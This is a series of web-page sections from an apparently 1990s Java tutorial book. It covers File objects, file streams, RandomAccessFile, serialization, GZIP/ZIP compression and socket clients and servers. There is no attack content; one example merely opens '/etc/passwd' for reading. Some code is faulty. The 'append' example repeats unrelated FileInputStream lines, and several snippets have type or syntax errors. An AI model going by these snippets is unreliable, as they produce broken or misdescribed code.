You can create an instance of File from a String pathname as follows:

File fooFile = new File( "/tmp/foo.txt" );
File barDir = new File( "/tmp/bar" );

You can also create a file with a relative path like:

File f = new File( "foo" );

In this case, Java works relative to the current directory of the Java interpreter. You can determine the current directory by checking the user.dir property in the System Properties list (System.getProperty('user.dir')).

An overloaded version of the File constructor lets you specify the directory path and filename as separate String objects:

File fooFile = new File( "/tmp", "foo.txt" );

With yet another variation, you can specify the directory with a File object and the filename with a String:

File tmpDir = new File( "/tmp" );
File fooFile = new File ( tmpDir, "foo.txt" );

None of the File constructors throw any exceptions. This means the object is created whether or not the file or directory actually exists; it isn't an error to create a File object for an nonexistent file. You can use the exists() method to find out whether the file or directory exists.

Path localization

One of the reasons that working with files in Java is problematic is that pathnames are expected to follow the conventions of the local filesystem. Java's designers intend to provide an abstraction that deals with most system-dependent filename features, such as the file separator, path separator, device specifier, and root directory. Unfortunately, not all of these features are implemented in the current version.

On some systems, Java can compensate for differences such as the direction of the file separator slashes in the above string. For example, in the current implementation on Windows platforms, Java accepts paths with either forward slashes or backslashes. However, under Solaris, Java accepts only paths with forward slashes.

Your best bet is to make sure you follow the filename conventions of the host filesystem. If your application is just opening and saving files at the user's request, you should be able to handle that functionality with the java.awt.FileDialog class. This class encapsulates a graphical file-selection dialog box. The methods of the FileDialog take care of system-dependent filename features for you.

If your application needs to deal with files on its own behalf, however, things get a little more complicated. The File class contains a few static variables to make this task easier. File.separator defines a String that specifies the file separator on the local host (e.g., "/" on UNIX and Macintosh systems and "\" on Windows systems), while File.separatorChar provides the same information in character form. File.pathSeparator defines a String that separates items in a path (e.g., ":" on UNIX systems; ";" on Macintosh and Windows systems); File.pathSeparatorChar provides the information in character form.

You can use this system-dependent information in several ways. Probably the simplest way to localize pathnames is to pick a convention you use internally, say "/", and do a String replace to substitute for the localized separator character:

// We'll use forward slash as our standard
String path = "mail/1995/june/merle";
path = path.replace('/', File.separatorChar);
File mailbox = new File( path );

Alternately, you could work with the components of a pathname and built the local pathname when you need it:

String [] path = { "mail", "1995", "june", "merle" };

StringBuffer sb = new StringBuffer(path[0]);
for (int i=1; i< path.length; i++)
    sb.append( File.separator + path[i] );
  File mailbox = new File( sb.toString() );

One thing to remember is that Java interprets the backslash character (\) as an escape character when used in a String. To get a backslash in a String, you have to use " \\".

File methods

Once we have a valid File object, we can use it to ask for information about the file itself and to perform standard operations on it. A number of methods lets us ask certain questions about the File. For example, isFile() returns true if the File represents a file, while isDirectory() returns true if it's a directory. isAbsolute() indicates whether the File has an absolute or relative path specification.

The components of the File pathname are available through the following methods: getName(), getPath(), getAbsolutePath(), and getParent(). getName() returns a String for the filename without any directory information; getPath() returns the directory information without the filename. If the File has an absolute path specification, getAbsolutePath() returns that path. Otherwise it returns the relative path appended to the current working directory. getParent() returns the parent directory of the File.

Interestingly, the string returned by getPath() or getAbsolutePath() may not be the same, case-wise, as the actual name of the file. You can retrieve the case-correct version of the file's path using getCanonicalPath(). In Windows 95, for example, you can create a File object whose getAbsolutePath() is C:\Autoexec.bat but whose getCanonicalPath() is C:\AUTOEXEC.BAT.

We can get the modification time of a file or directory with lastModified(). This time value is not useful as an absolute time; you should use it only to compare two modification times. We can also get the size of the file in bytes with length(). Here's a fragment of code that prints some information about a file:

File fooFile = new File( "/tmp/boofa" );

String type = fooFile.isFile() ? "File " : "Directory ";
String name = fooFile.getName();
long len = fooFile.length();
System.out.println(type + name + ", " + len + " bytes " );

If the File object corresponds to a directory, we can list the files in the directory with the list() method:

String [] files = fooFile.list();

list() returns an array of String objects that contains filenames. (You might expect that list() would return an Enumeration instead of an array, but it doesn't.)

If the File refers to a nonexistent directory, we can create the directory with mkdir() or mkdirs(). mkdir() creates a single directory; mkdirs() creates all of the directories in a File specification. Use renameTo() to rename a file or directory and delete() to delete a file or directory. Note that File doesn't provide a method to create a file; creation is handled with a FileOutputStream as we'll discuss in a moment.

Table 8.1 summarizes the methods provided by the File class.

Table 8.1: File Methods
Method | Return type | Description
canRead() | boolean | Is the file (or directory) readable?
canWrite() | boolean | Is the file (or directory) writable?
delete() | boolean | Deletes the file (or directory)
exists() | boolean | Does the file (or directory) exist?
getAbsolutePath() | String | Returns the absolute path of the file (or directory)
getCanonicalPath() | String | Returns the absolute, case-correct path of the file (or directory)
getName() | String | Returns the name of the file (or directory)
getParent() | String | Returns the name of the parent directory of the file (or directory)
getPath() | String | Returns the path of the file (or directory)
isAbsolute() | boolean | Is the filename (or directory name) absolute?
isDirectory() | boolean | Is the item a directory?
isFile() | boolean | Is the item a file?
lastModified() | long | Returns the last modification time of the file (or directory)
length() | long | Returns the length of the file
list() | String [] | Returns a list of files in the directory
mkdir() | boolean | Creates the directory
mkdirs() | boolean | Creates all directories in the path
renameTo(File dest) | boolean | Renames the file (or directory)

File Streams

Java provides two specialized streams for reading and writing files in the filesystem: FileInputStream and FileOutputStream. These streams provide the basic InputStream and OutputStream functionality applied to reading and writing the contents of files. They can be combined with the filtered streams described earlier to work with files in the same way we do other stream communications.

Because FileInputStream is a subclass of InputStream, it inherits all standard InputStream functionality for reading the contents of a file. FileInputStream provides only a low-level interface to reading data, however, so you'll typically wrap another stream like a DataInputStream around the FileInputStream.

You can create a FileInputStream from a String pathname or a File object:

FileInputStream foois = new FileInputStream( fooFile );
FileInputStream passwdis = new FileInputStream( "/etc/passwd" );

When you create a FileInputStream, Java attempts to open the specified file. Thus, the FileInputStream constructors can throw a FileNotFoundException if the specified file doesn't exist, or an IOException if some other I/O error occurs. You should be sure to catch and handle these exceptions in your code. When the stream is first created, its available() method and the File object's length() method should return the same value. Be sure to call the close() method when you are done with the file.

To read characters from a file, you can wrap an InputStreamReader around a FileInputStream. If you want to use the default character encoding scheme, you can use the FileReader class instead, which is provided as a convenience. FileReader works just like FileInputStream, except that it reads characters instead of bytes and wraps a Reader instead of an InputStream.

The following class, ListIt, is a small utility that displays the contents of a file or directory to standard output:

import java.io.*;

class ListIt {
    public static void main ( String args[] ) throws Exception {
        File file =  new File( args[0] );

        if ( !file.exists() || !file.canRead() ) {
            System.out.println( "Can't read " + file );
            return;
        }

        if ( file.isDirectory() ) {
            String [] files = file.list();
            for (int i=0; i< files.length; i++)
                System.out.println( files[i] );
        }
        else
            try {
                FileReader fr = new FileReader ( file );
                BufferedReader in = new BufferedReader( fr );
                String line;
                while ((line = in.readLine()) != null)
                    System.out.println(line);
            }
            catch ( FileNotFoundException e ) {
                System.out.println( "File Disappeared" );
            }
    } }

ListIt constructs a File object from its first command-line argument and tests the File to see if it exists and is readable. If the File is a directory, ListIt prints the names of the files in the directory. Otherwise, ListIt reads and prints the file.

FileOutputStream is a subclass of OutputStream, so it inherits all the standard OutputStream functionality for writing to a file. Just like FileInputStream though, FileOutputStream provides only a low-level interface to writing data. You'll typically wrap another stream like a DataOutputStream or a PrintStream around the FileOutputStream to provide higher-level functionality. You can create a FileOutputStream from a String pathname or a File object. Unlike FileInputStream however, the FileOutputStream constructors don't throw a FileNotFoundException. If the specified file doesn't exist, the FileOutputStream creates the file. The FileOutputStream constructors can throw an IOException if some other I/O error occurs, so you still need to handle this exception.

If the specified file does exist, the FileOutputStream opens it for writing. When you actually call a write() method, the new data overwrites the current contents of the file. If you need to append data to an existing file, you should use a different constructor that accepts an append flag, as shown here:

FileInputStream foois = new FileInputStream( fooFile );
FileInputStream passwdis = new FileInputStream( "/etc/passwd" );

Antoher alternative for appending files is to use a RandomAccessFile, as I'll discuss shortly.

To write characters (instead of bytes) to a file, you can wrap an OutputStreamWriter around a FileOutputStream. If you want to use the default character encoding scheme, you can use the FileWriter class instead, which is provided as a convenience. FileWriter works just like FileOutputStream, except that it writes characters instead of bytes and wraps a Writer instead of an OutputStream.

The following example reads a line of data from standard input and writes it to the file /tmp/foo.txt:

String s = new BufferedReader( new InputStreamReader( System.in ) ).readLine();

File out = new File( "/tmp/foo.txt" );
FileWriter fw = new FileWriter ( out );
PrintWriter pw = new PrintWriter( fw, true )
pw.println( s );

Notice how we have wrapped a PrintWriter around the FileWriter to facilitate writing the data. To be a good filesystem citizen, you need to call the close() method when you are done with the FileWriter.

java.io.RandomAccessFile

The java.io.RandomAccessFile class provides the ability to read and write data from or to any specified location in a file. RandomAccessFile implements both the DataInput and DataOutput interfaces, so you can use it to read and write strings and Java primitive types. In other words, RandomAccessFile defines the same methods for reading and writing data as DataInputStream and DataOutputStream. However, because the class provides random, rather than sequential, access to file data, it's not a subclass of either InputStream or OutputStream.

You can create a RandomAccessFile from a String pathname or a File object. The constructor also takes a second String argument that specifies the mode of the file. Use "r" for a read-only file or "rw" for a read-write file. Here's how to create a simple database to keep track of user information:

try {
    RandomAccessFile users = new RandomAccessFile( "Users", "rw" );
    ...
}
catch (IOException e) {
}

When you create a RandomAccessFile in read-only mode, Java tries to open the specified file. If the file doesn't exist, RandomAccessFile throws an IOException. If, however, you are creating a RandomAccessFile in read-write mode, the object creates the file if it doesn't exist. The constructor can still throw an IOException if some other I/O error occurs, so you still need to handle this exception.

After you have created a RandomAccessFile, call any of the normal reading and writing methods, just as you would with a DataInputStream or DataOutputStream. If you try to write to a read-only file, the write method throws an IOException.

What makes a RandomAccessFile special is the seek() method. This method takes a long value and uses it to set the location for reading and writing in the file. You can use the getFilePointer() method to get the current location. If you need to append data on the end of the file, use length() to determine that location. You can write or seek beyond the end of a file, but you can't read beyond the end of a file. The read methods throws a EOFException if you try to do this.

Here's an example of writing some data to our user database:

users.seek( userNum * RECORDSIZE );
users.writeUTF( userName );
users.writeInt( userID );

One caveat to notice with this example is that we need to be sure that the String length for userName, along with any data that comes after it, fits within the boundaries of the record size.

Applets and Files

For security reasons, applets are not permitted to read and write to arbitrary places in the filesystem. The ability of an applet to read and write files, as with any kind of system resource, is under the control of a SecurityManager object. A SecurityManager is installed by the application that is running the applet, such as an applet viewer or Java-enabled Web browser. All filesystem access must first pass the scrutiny of the SecurityManager. With that in mind, applet-viewer applications are free to implement their own schemes for what, if any, access an applet may have.

For example, Sun's HotJava Web browser allows applets to have access to specific files designated by the user in an access-control list. Netscape Navigator, on the other hand, currently doesn't allow applets any access to the filesystem.

It isn't unusual to want an applet to maintain some kind of state information on the system where it's running. But for a Java applet that is restricted from access to the local filesystem, the only option is to store data over the network on its server. Although, at the moment, the Web is a relatively static, read-only environment, applets have at their disposal powerful, general means for communicating data over networks, as you'll see in Chapter 9, Network Programming. The only limitation is that, by convention, an applet's network communication is restricted to the server that launched it. This limits the options for where the data will reside.

The only means of writing data to a server in Java is through a network socket. In Chapter 9, Network Programming we'll look at building networked applications with sockets in detail. With the tools of that chapter it's possible to build powerful client/server applications.

Previous | Home | Next
Streams | Book Index | Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.3 Serialization

Previous Chapter 8
Input/Output Facilities 		Next

8.3 Serialization

Using streams and files, you can write an application that saves and loads its data to a disk drive. Java 1.1 provides an even more powerful mechanism called object serialization that does a lot of the work for you. In its simplest form, object serialization is an automatic way to save and load an object. However, object serialization has depths that we cannot plumb within the scope of this book, including complete control over the serialization process and interesting conundrums like class versioning.

Basically, any class that implements the Serializable interface can be saved and restored from a stream. Special stream subclasses, ObjectInputStream and ObjectOutputStream, are used to serialize primitive types and objects. Subclasses of Serializable classes are also serializable. The default serialization mechanism saves the value of an object's nonstatic and nonvolatile member variables.

One of the tricky things about serialization is that when an object is serialized, any object references it contains should also be serialized. We'll see this in an upcoming example. The implication is that any object we serialize must only contain references to Serializable objects. There are ways around this problem, like marking nonserializable members as volatile or overriding the default serialization mechanisms.

In the following example, we create a Hashtable and write it to a disk file called h.ser.

import java.io.*;
import java.util.*;
public class Save {
  public static void main(String[] args) {
    Hashtable h = new Hashtable();
    h.put("string", "Gabriel Garcia Marquez");
    h.put("int", new Integer(26));
    h.put("double", new Double(Math.PI));

    try {
      FileOutputStream fileOut = new FileOutputStream("h.ser");
      ObjectOutputStream out = new ObjectOutputStream(fileOut);
      out.writeObject(h);
    }
    catch (Exception e) {
      System.out.println(e);
    }
  }
}

First we construct a Hashtable with a few elements in it. Then, in the three lines of code inside the try block, we write the Hashtable to a file called h.ser, using the writeObject() method of ObjectOutputStream. The ObjectOutputStream class is a lot like the DataOutputStream class, except that it includes the powerful writeObject() method. The Hashtable object is serializable because it implements the Serializable interface.

The Hashtable we created has internal references to the items it contains. Thus, these components are automatically serialized along with the Hashtable. We'll see this in the next example when we deserialize the Hashtable.

import java.io.*;
import java.util.*;
public class Load {
  public static void main(String[] args) {
    try {
      FileInputStream fileIn = new FileInputStream("h.ser");
      ObjectInputStream in = new ObjectInputStream(fileIn);
      Hashtable h = (Hashtable)in.readObject();
      System.out.println(h.toString());
    }
    catch (Exception e) {
      System.out.println(e);
    }
  }
}

In this example, we read the Hashtable from the h.ser file, using the readObject() method of ObjectInputStream. The ObjectInputStream class is a lot like DataInputStream, except it includes the readObject() method. The return type of readObject() is Object, so we need to cast it to a Hashtable. Finally, we print out the contents of the Hashtable using its toString() method.

Previous | Home | Next
Files | Book Index | Data compression
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.4 Data compression

Previous Chapter 8
Input/Output Facilities 		Next

8.4 Data compression

Java 1.1 includes a new package, java.util.zip, that contains classes you can use for data compression. In this section we'll talk about how to use the classes. We'll also present two useful example programs that build on what you have just learned about streams and files.

The classes in the java.util.zip package support two widespread compression formats: GZIP and ZIP. Both of these are based on the ZLIB compression algorithm, which is discussed in RFC 1950, RFC 1951, and RFC 1952. These documents are available at ftp://ds.internic.net/rfc/. I don't recommend reading these documents unless you want to implement your own compression algorithm or otherwise extend the functionality of the java.util.zip package.

Compressing data

The java.util.zip class provides two FilterOutputStream subclasses to write compressed data to a stream. To write compressed data in the GZIP format, simply wrap a GZIPOutputStream around an underlying stream and write to it. The following is a complete example that shows how to compress a file using the GZIP format.

import java.io.*;
import java.util.zip.*;
public class GZip {
  public static int sChunk = 8192;
  public static void main(String[] args) {
    if (args.length != 1) {
      System.out.println("Usage: GZip source");
      return;
    }
    // Create output stream.
    String zipname = args[0] + ".gz";
    GZIPOutputStream zipout;
    try {
      FileOutputStream out = new FileOutputStream(zipname);
      zipout = new GZIPOutputStream(out);
    }
    catch (IOException e) {
      System.out.println("Couldn't create " + zipname + ".");
      return;
    }
    byte[] buffer = new byte[sChunk];
    // Compress the file.
    try {
      FileInputStream in = new FileInputStream(args[0]);
      int length;
      while ((length = in.read(buffer, 0, sChunk)) != -1)
        zipout.write(buffer, 0, length);
      in.close();
    }
    catch (IOException e) {
      System.out.println("Couldn't compress " + args[0] + ".");
    }
    try { zipout.close(); }
    catch (IOException e) {}
  }
}

First we check to make sure we have a command-line argument representing a file name. Then we construct a GZIPOutputStream wrapped around a FileOutputStream representing the given file name with the .gz suffix appended. With this in place, we open the source file. We read chunks of data from it and write them into the GZIPOutputStream. Finally, we clean up by closing our open streams.

Writing data to a ZIP file is a little more involved, but still quite manageable. While a GZIP file contains only one compressed file, a ZIP file is actually an archive of files, some (or all) of which may be compressed. Each item in the ZIP file is represented by a ZipEntry object. When writing to a ZipOutputStream, you'll need to call putNextEntry() before writing the data for each item. The following example shows how to create a ZipOutputStream. You'll notice it's just like creating a GZIPOutputStream.

ZipOutputStream zipout;
try {
  FileOutputStream out = new FileOutputStream("archive.zip");
  zipout = new ZipOutputStream(out);
}
catch (IOException e) {}

Let's say we have two files we want to write into this archive. Before we begin writing we need to call putNextEntry(). We'll create a simple entry with just a name. There are other fields in ZipEntry that you can set, but most of the time you won't need to bother with them.

try {
  ZipEntry entry = new ZipEntry("First");
  zipout.putNextEntry(entry);
}
catch (IOException e) {}

At this point you can write the contents of the first file into the archive. When you're ready to write the second file into the archive, you simply call putNextEntry() again:

try {
  ZipEntry entry = new ZipEntry("Second");
  zipout.putNextEntry(entry);
}
catch (IOException e) {}

Decompressing data

To decompress data, you can use one of the two FilterInputStream subclasses provided in java.util.zip. To decompress data in the GZIP format, simply wrap a GZIPInputStream around an underlying stream and read from it. The following is a complete example that shows how to decompress a GZIP file.

import java.io.*;
import java.util.zip.*;
public class GUnzip {
  public static int sChunk = 8192;
  public static void main(String[] args) {
    if (args.length != 1) {
      System.out.println("Usage: GUnzip source");
      return;
    }
    // Create input stream.
    String zipname, source;
    if (args[0].endsWith(".gz")) {
      zipname = args[0];
      source = args[0].substring(0, args[0].length() - 3);
    }
    else {
      zipname = args[0] + ".gz";
      source = args[0];
    }
    GZIPInputStream zipin;
    try {
      FileInputStream in = new FileInputStream(zipname);
      zipin = new GZIPInputStream(in);
    }
    catch (IOException e) {
      System.out.println("Couldn't open " + zipname + ".");
      return;
    }
    byte[] buffer = new byte[sChunk];
    // Decompress the file.
    try {
      FileOutputStream out = new FileOutputStream(source);
      int length;
      while ((length = zipin.read(buffer, 0, sChunk)) != -1)
        out.write(buffer, 0, length);
      out.close();
    }
    catch (IOException e) {
      System.out.println("Couldn't decompress " + args[0] + ".");
    }
    try { zipin.close(); }
    catch (IOException e) {}
  }
}

First we check to make sure we have a command-line argument representing a file name. If the argument ends with .gz, we figure out what the file name for the uncompressed file should be. Otherwise we just use the given argument and assume the compressed file has the .gz suffix. Then we construct a GZIPInputStream wrapped around a FileInputStream representing the compressed file. With this in place, we open the target file. We read chunks of data from the GZIPInputStream and write them into the target file. Finally, we clean up by closing our open streams.

Again, the ZIP archive presents a little more complexity than the GZIP file. When reading from a ZipInputStream, you should call getNextEntry() before reading each item. When getNextEntry() returns null, there are no more items to read. The following example shows how to create a ZipInputStream. You'll notice it's just like creating a GZIPInputStream.

ZipInputStream zipin;
try {
  FileInputStream in = new FileInputStream("archive.zip");
  zipin = new ZipInputStream(in);
}
catch (IOException e) {}

Suppose we want to read two files from this archive. Before we begin reading we need to call getNextEntry(). At the least, the entry will give us a name of the item we are reading from the archive.

try {
  ZipEntry first = zipin.getNextEntry();
}
catch (IOException e) {}

At this point you can read the contents of the first item in the archive. When you come to the end of the item, the read() method will return -1. Now you can call getNextEntry() again to read the second item from the archive.

try {
  ZipEntry second = zipin.getNextEntry();
}
catch (IOException e) {}

If you call getNextEntry() and it returns null, then there are no more items and you have reached the end of the archive.

Previous | Home | Next
Serialization | Book Index | Network Programming
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] Network Programming

Previous Chapter 9 Next

9. Network Programming

Contents:
Sockets
Datagram Sockets
Working with URLs
Web Browsers and Handlers
Writing a Content Handler
Writing a Protocol Handler

The network is the soul of Java. Most of what is new and
exciting about Java centers around the potential for new kinds of
dynamic, networked applications. This chapter discusses the java.net package, which contains classes for communications
and working with networked resources. These classes fall into two
categories: the sockets API and classes for working
with Uniform Resource Locators (URLs).  Figure 9.1 shows all of the classes in
java.net.

Figure 9.1: The java.net package

  [Graphic: Figure 9-1]

Java's sockets interface provides access to the standard
network protocols used for communications between hosts on the
Internet. Sockets are the mechanism underlying all other kinds of
portable networked communications. Your processes can use sockets to
communicate with a server or peer applications on the Net, but you
have to implement your own application-level protocols for handling
and interpreting the data. Higher-level functionality, like remote
procedure calls and distributed objects, are implemented with sockets.

The Java URL classes provide an
API for accessing well-defined networked resources,
like documents and applications on servers. The classes use an
extensible set of prefabricated protocol and content handlers to
perform the necessary communication and data conversion for accessing
URL resources. With URLs, an
application can fetch a complete file or database record from a server
on the network with just a few lines of code. Applications like Web
browsers, which deal with networked content, use the
URL class to simplify the task
of network programming. They also take advantage of the dynamic
nature of Java, which allows handlers for new types of
URLs to be added on the fly. As new types of
servers and new formats for content evolve, additional
URL handlers can be supplied to retrieve and
interpret the data without modifying the original application.

In this chapter, I'll try to provide some practical and
realistic examples of Java network programming using both
APIs. Sadly, the current state of affairs is
disappointing. The real release of HotJava isn't
available, and Netscape Navigator imposes many restrictions on what
you can do. In addition, a few standards that we need haven't
been defined. Nevertheless, you can use all of Java's networking
capabilities to build your own free-standing applications. I'll
point out the shortcomings with Netscape Navigator and the standards
scene as I go along.

9.1 Sockets

Sockets are a low-level programming interface for networked
communications. They send streams of data between applications that
may or may not be on the same host. Sockets originated in
BSD UNIX and are, in other
languages, hairy and complicated things with lots of small parts that
can break off and choke little children. The reason for this is that
most socket APIs can be used with almost any kind
of underlying network protocol. Since the protocols that transport
data across the network can have radically different features, the
socket interface can be quite complex. (For a discussion of sockets in
general, see UNIX
Network Programming, by Richard Stevens [Prentice-Hall].)

Java supports a simplified object-oriented interface to sockets
that makes network communications considerably easier. If you have
done network programming using sockets in C or another structured
language, you should be pleasantly surprised at how simple things can
be when objects encapsulate the gory details. If
this is the first time you've come across sockets, you'll
find that talking to another application can be as simple as
reading a file or getting user input. Most forms of I/O in Java,
including network I/O, use the stream classes described in Chapter 8, Input/Output Facilities. Streams provide a unified I/O interface; reading
or writing across the Internet is similar to reading or writing a file
on the local system.

Java provides different kinds of sockets to support two
distinct classes of underlying protocols. In this first section,
we'll look at Java's Socket class,
which uses a connection-oriented protocol. A
connection-oriented protocol gives you the equivalent of a telephone
conversation; after establishing a connection, two applications can
send data back and forth; the connection stays in place even when no
one is talking. The protocol ensures that no data is lost and that it
always arrives in order. In the next section we'll look at the
DatagramSocket class, which uses a
connectionless protocol. A connectionless
protocol is more like the postal service. Applications can send short
messages to each other, but no attempt is made to keep the connection
open between messages, to keep the messages in order, or even to
guarantee that they arrive.

In theory, just about any protocol family can be used
underneath the socket layer: Novell's IPX,
Apple's AppleTalk, even the old ChaosNet protocols. But this
isn't a theoretical world. In practice, there's only one
protocol family people care about on the Internet, and only one
protocol family Java supports: the Internet protocols,
IP. The Socket class speaks
TCP, and the DatagramSocket class
speaks UDP, both standard Internet protocols.
These protocols are available on any
system that is connected to the Internet.

Clients and Servers

When writing network applications, it's common to talk about
clients and servers. The distinction is increasingly vague, but the
side that initiates the conversation is usually the
client. The side that accepts the request to
talk is usually the server. In
the case where there are two peer applications using sockets to talk,
the distinction is less important, but for simplicity
we'll use the above definition.

For our purposes, the most important difference between a
client and a server is that a client can create a socket to initiate a
conversation with a server application at any time, while a server
must prepare to listen for incoming conversations in advance. The
java.net.Socket class represents a single side of a
socket connection on either the client or server.
In addition, the
server uses the java.net.ServerSocket class to wait
for connections from clients. An application acting as a server
creates a ServerSocket object and waits, blocked in
a call to its accept() method, until a connection
arrives. When it does, the accept() method creates
a Socket object the server uses to
communicate with the client. A server carries on multiple
conversations at once; there is only a single
ServerSocket, but one active
Socket object for each client, as shown in Figure 9.2.

Figure 9.2: Clients and servers, Sockets and ServerSockets

  [Graphic: Figure 9-2]

A client needs two pieces of information to locate and connect
to another server on the Internet: a hostname (used to find the
host's network address) and a port number. The port number is an
identifier that differentiates between multiple clients or servers on
the same host. A server application listens on a prearranged port
while waiting for connections. Clients select the port number assigned
to the service they want to access. If you think of the host computers
as hotels and the applications as guests, then the ports are like the
guests' room numbers. For one guest to call another, he or she
must know the other party's hotel name and room number.

Clients

A client application opens a connection to a server by constructing a
Socket that specifies the hostname and port number
of the desired server:

try {
    Socket sock = new Socket("wupost.wustl.edu", 25);
}
catch ( UnknownHostException e ) {
    System.out.println("Can't find host.");
}
catch ( IOException e ) {
    System.out.println("Error connecting to host.");
}

This code fragment attempts to connect a Socket to
port 25 (the SMTP mail service) of the host
wupost.wustl.edu. The client handles the
possibility that the hostname can't be resolved
(UnknownHostException) and that it might not be
able to connect to it (IOException).

As an alternative to using a hostname, you can provide a string version
of the host's IP address:

Socket sock = new Socket("128.252.120.1", 25);    // wupost.wustl.edu

Once a connection is made, input and output streams can be retrieved with
the Socket getInputStream()
and getOutputStream() methods. The following
(rather arbitrary and strange) conversation illustrates sending and receiving
some data with the streams. Refer to Chapter 8, Input/Output Facilities for a complete
discussion of working with streams.

try {
    Socket server = new Socket("foo.bar.com", 1234);
    InputStream in = server.getInputStream();
    OutputStream out = server.getOutputStream();

    // Write a byte
    out.write(42);

    // Say "Hello" (send newline delimited string)
    PrintStream pout = new PrintStream( out );
    pout.println("Hello!");

    // Read a byte
    Byte back = in.read();

    // Read a newline delimited string
    DataInputStream din = new DataInputStream( in );
    String response = din.readLine();

    server.close();
}
catch (IOException e ) { }

In the exchange above, the client first creates a
Socket for communicating with the server. The
Socket constructor specifies the server's
hostname (foo.bar.com) and a prearranged port
number (1234). Once the connection is established, the client writes a
single byte to the server using the
OutputStream's write()
method. It then wraps a PrintStream around the
OutputStream in order to send text more
easily. Next, it performs the complementary operations, reading a byte
from the server using InputStream's
read() and then creating a
DataInputStream from which to get a string of
text. Finally, it terminates the connection with the
close() method. All these operations have the
potential to generate IOExceptions; the
catch clause is where our application would deal
with these.

Servers

After a connection is established, a server application uses the same
kind of Socket object for its side of the
communications. However, to accept a connection from a client, it
must first create a ServerSocket, bound to the
correct port. Let's recreate the previous conversation from the
server's point of view:

// Meanwhile, on foo.bar.com...
try {
    ServerSocket listener = new ServerSocket( 1234 );

    while ( !finished ) {
        Socket aClient = listener.accept();    // wait for connection

        InputStream in = aClient.getInputStream();
        OutputStream out = aClient.getOutputStream();

        // Read a byte
        Byte importantByte = in.read();

        // Read a string
        DataInputStream din = new DataInputStream( in );
        String request = din.readLine();

        // Write a byte
        out.write(43);

        // Say "Goodbye"
        PrintStream pout = new PrintStream( out );
        pout.println("Goodbye!");

        aClient.close();
    }

    listener.close();

}
catch (IOException e ) { }

First, our server creates a ServerSocket attached
to port 1234. On some systems there are rules about what ports an
application can use. Port numbers below 1024 are usually reserved for
system processes and standard, well-known services, so we pick a port
number outside of this range. The ServerSocket need
be created only once. Thereafter we can accept as many connections as
arrive.

Next we enter a loop, waiting for the
accept() method of the
ServerSocket to return an active
Socket connection from a client. When a connection
has been established, we perform the server side of our dialog, then
close the connection and return to the top of the loop to wait for
another connection. Finally, when the server application wants to
stop listening for connections altogether, it calls the
close() method of the
ServerSocket.[1]

[1]
A somewhat obscure security feature in TCP/IP
specifies that if a server socket actively closes a connection while a
client is connected, it may not be able to bind (attach itself) to the
same port on the server host again for a period of time (the maximum
time to live of a packet on the network). It's possible to turn off
this feature, and it's likely that your Java implementation will have
done so.

As you can see, this server is single-threaded; it handles
one connection at a time; it doesn't call
accept() to listen for a new connection until it's
finished with the current connection. A more realistic server would
have a loop that accepts connections concurrently and passes them off
to their own threads for processing. (Our tiny HTTP
daemon in a later section will do just this.)

Sockets and security

The examples above presuppose the client has permission to
connect to the server, and that the server is allowed to listen on the
specified socket. This is not always the case. Specifically, applets
and other applications run under the auspices of a
SecurityManager that can impose arbitrary
restrictions on what hosts they may or may not talk to, and whether
they can listen for connections. The security policy imposed by the
current version of Netscape Navigator allows applets to open
socket connections only to the host that served them. That is, they can
talk back only to the server from which their class files were
retrieved. Applets are not allowed to open server sockets themselves.

Now, this doesn't meant an applet can't cooperate
with its server to communicate with anyone, anywhere. A server could
run a proxy that lets the applet communicate indirectly with anyone it
likes. What the current security policy prevents is malicious applets
roaming around inside corporate firewalls. It places the burden of
security on the originating server, and not the client
machine. Restricting access to the originating server limits the
usefulness of "trojan" applications that do annoying
things from the client side. You won't let your proxy mail bomb
people, because you'll be blamed.

The DateAtHost Client

Many networked workstations run a time service that dispenses their
local clock time on a well-known port. This was a precursor of
NTP, the more general Network Time Protocol. In the
next example, DateAtHost, we'll make a specialized
subclass of java.util.Date that fetches the time
from a remote host instead of initializing itself from the local
clock. (See Chapter 7, Basic Utility Classes for a complete discussion of the
Date class.)

DateAtHost connects to the time service
(port 37) and reads four bytes representing the time on the remote
host. These four bytes are interpreted as an integer representing the
number of seconds since the turn of the
century. DateAtHost converts this to Java's
variant of the absolute time (milliseconds since January 1, 1970, a date
that should be familiar to UNIX users) and then
uses the remote host's time to initialize itself:

import java.net.Socket;
import java.io.*;

public class DateAtHost extends java.util.Date {
    static int timePort = 37;
    static final long offset = 2208988800L; // Seconds from century to
                                            // Jan 1, 1970 00:00 GMT

    public DateAtHost( String host ) throws IOException {
        this( host, timePort );
    }

    public DateAtHost( String host, int port ) throws IOException {
        Socket sock = new Socket( host, port );
        DataInputStream din =
            new DataInputStream(sock.getInputStream());
        int time = din.readInt();
        sock.close();

        setTime( (((1L << 32) + time) - offset) * 1000 );
    } }

That's all there is to it. It's not very long, even with a
few frills. We have supplied two possible constructors for
DateAtHost. Normally we'll use the first,
which simply takes the name of the remote host as an argument. The
second, overloaded constructor specifies the hostname and the
port number of the remote time service. (If the time service were
running on a nonstandard port, we would use the second constructor to
specify the alternate port number.) This second constructor does the
work of making the connection and setting the time. The first
constructor simply invokes the second (using the
this() construct) with the default port as an
argument. Supplying simplified constructors that invoke their siblings
with default arguments is a common and useful technique.

The second constructor opens a socket to the specified port on the
remote host. It creates a DataInputStream to wrap
the input stream and then reads a 4-byte integer using the
readInt() method. It's no coincidence the bytes are
in the right order.
Java's DataInputStream
and DataOutputStream classes work with the bytes of
integer types in network byte order (most
significant to least significant). The time protocol (and other
standard network protocols that deal with binary data) also uses the
network byte order, so we don't need to call any conversion
routines. (Explicit data conversions would probably be necessary if we
were using a nonstandard protocol, especially when talking to a
non-Java client or server.) After reading the data, we're
finished with the socket, so we close it, terminating the connection
to the server. Finally, the constructor initializes the rest of the
object by calling Date's
setTime() method with the calculated time
value.[2]

[2]
The conversion first creates a long value, which is the unsigned
equivalent of the integer time. It subtracts
an offset to make the time relative to the epoch (January 1, 1970) rather
than the century, and multiples by 1000 to convert to milliseconds.

The DateAtHost class can work with a time
retrieved from a remote host almost as easily as
Date is used with the time on the local host. The
only additional overhead is that we have to deal with the possible
IOException that can be thrown by the
DateAtHost constructor:

try {
    Date d = new DateAtHost( "sura.net" );
    System.out.println( "The time over there is: " + d );
    int hours = d.getHours();
    int minutes = d.getMinutes();
    ...
}
catch ( IOException e ) { }

This example fetches the time at the host sura.net
and prints its value. It then looks at some components of the time using
the getHours() and getMinutes()
